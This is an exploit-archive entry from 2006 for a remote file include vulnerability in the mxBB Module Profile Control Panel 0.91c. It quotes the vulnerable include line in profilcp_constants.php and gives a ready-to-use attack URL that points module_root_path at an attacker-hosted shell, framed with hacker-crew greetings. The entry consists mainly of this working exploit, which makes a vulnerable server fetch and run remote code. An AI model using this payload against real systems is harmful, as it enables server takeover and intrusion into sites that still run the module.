mxBB Module Profile CP 0.91c Remote File Include Vulnerability

2006-12-09T00:00:00
ID 1337DAY-ID-1244
Type zdt
Reporter bd0rk
Modified 2006-12-09T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==============================================================
mxBB Module Profile CP 0.91c Remote File Include Vulnerability
==============================================================



###############################################################################
##                                                                           ##
## mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability ##
##                                                                           ##
## Bugfound3R: bd0rk || SOH-Crew                                             ##
##                                                                           ##
## Greetz: Lu7k, TheJT, Natok                                                ##
##                                                                           ##
###############################################################################


==> Vulnerable Code in profilcp_constants.php <==

Code: include_once($module_root_path . 'includes/lang_extend_mac.'.$phpEx);

Usage: http://[y0uRSiTe]/[direct0ry]/includes/profilcp_constants.php?module_root_path=http://Sh3LL?



#  0day.today [2016-04-20]  #